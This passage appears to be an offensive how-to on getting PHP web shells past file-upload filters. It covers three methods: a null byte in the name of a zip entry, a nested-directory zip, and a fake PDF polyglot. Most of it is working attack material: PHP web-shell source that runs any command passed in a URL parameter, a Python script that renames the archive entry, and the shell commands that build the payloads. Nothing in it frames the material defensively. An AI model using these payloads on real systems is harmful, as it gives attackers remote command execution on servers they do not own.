Technique 1: Null Byte Bypass (\x00)
Create a fake .pdf
that contains a valid header, and append a .php shell:
❯ cat shell.php
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
❯ zip shell.zip 'shell.php'
adding: shell.php (deflated 32%)
Then convert the name with the python code to add null character
renamer.py
import zipfile
zip_path = 'shell.zip'
new_zip_path = 'shell2.zip'
old_filename = 'shell.php'
new_filename = 'shell.php\x00.pdf'
with zipfile.ZipFile(zip_path, 'r') as zip_read:
with zipfile.ZipFile(new_zip_path, 'w') as zip_write:
for item in zip_read.infolist():
data = zip_read.read(item.filename)
if item.filename == old_filename:
item.filename = new_filename
zip_write.writestr(item, data)
print(f'Renamed {old_filename} to {new_filename} inside {new_zip_path}')
❯ python3 renamer.py
Upload shell2.zip
Nested Directory + Web Shell Trick
Structure:
payload.zip
├── good.pdf
└── folder/
└── shell.php
This bypasses naive extension or path checks. When extracted:
- good.pdf is used for validation
- Attacker accesses: payload.zip/folder/shell.php on the server
Create it:
mkdir payload
cp good.pdf payload/
mkdir payload/folder
cp shell.php payload/folder/
zip -r payload.zip payload
Upload payload.zip and hope the backend extracts and serves all content.
Polyglot Payload — Fake PDF + Web Shell
Create a fake .pdf
that contains a valid header, and append a .php shell:
echo "%PDF-1.4" > legit.pdf
echo "<?php system(\$_GET['cmd']); ?>" > shell.php
cat legit.pdf shell.php > payload.php
Sometimes servers check only the file header or MIME — this can pass as PDF but execute as PHP if interpreted that way.